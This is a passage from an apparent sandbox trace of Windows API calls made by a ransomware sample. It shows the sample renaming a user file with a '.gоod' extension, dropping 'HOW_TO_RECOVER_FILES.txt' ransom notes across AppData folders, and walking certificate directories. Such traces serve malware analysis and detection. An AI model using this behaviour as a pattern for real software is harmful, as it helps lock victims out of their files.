ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0x94e9b0f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b0)) returned 1 [0256.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0256.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat.gоod")) returned 1 [0256.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0256.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0256.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.184] GetFileType (hFile=0x828) returned 0x1 [0256.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0256.184] GetFileType (hFile=0x828) returned 0x1 [0256.184] WriteFile (in: hFile=0x828, lpBuffer=0x3c68228*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c68228*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.185] CloseHandle (hObject=0x828) returned 1 [0256.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0256.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0256.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.185] GetFileType (hFile=0x828) returned 0x1 [0256.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0256.185] GetFileType (hFile=0x828) returned 0x1 [0256.186] WriteFile (in: hFile=0x828, lpBuffer=0x3c6bab0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3c6bab0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.186] CloseHandle (hObject=0x828) returned 1 [0256.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0256.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0256.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.187] GetFileType (hFile=0x828) returned 0x1 [0256.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0256.187] GetFileType (hFile=0x828) returned 0x1 [0256.188] WriteFile (in: hFile=0x828, lpBuffer=0x3c6f328*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3c6f328*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0256.188] CloseHandle (hObject=0x828) returned 1 [0256.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery", lpFilePart=0x0) returned 0x34 [0256.188] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0256.189] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.189] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.189] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0256.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery", lpFilePart=0x0) returned 0x34 [0256.189] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0256.189] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.190] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.190] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0256.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0256.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0256.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\stationery\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.191] GetFileType (hFile=0x828) returned 0x1 [0256.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0256.191] GetFileType (hFile=0x828) returned 0x1 [0256.192] WriteFile (in: hFile=0x828, lpBuffer=0x3c803b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3c803b8*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0256.192] CloseHandle (hObject=0x828) returned 1 [0256.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3c [0256.192] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0256.192] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.193] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0256.193] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0256.193] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0256.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3c [0256.193] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0256.193] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.193] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0256.194] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.194] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0256.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0256.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0256.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0256.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x3f [0256.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0256.194] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc6328090, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc6328090, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppContainerUserCertRead", cAlternateFileName="APPCON~1")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0256.195] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0256.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0256.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0256.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0256.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x3f [0256.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0256.196] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.196] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc6328090, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc6328090, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppContainerUserCertRead", cAlternateFileName="APPCON~1")) returned 1 [0256.196] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0256.196] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0256.196] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0256.197] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.197] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0256.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0256.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0256.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", lpFilePart=0x0) returned 0x58 [0256.197] SetThreadErrorMode 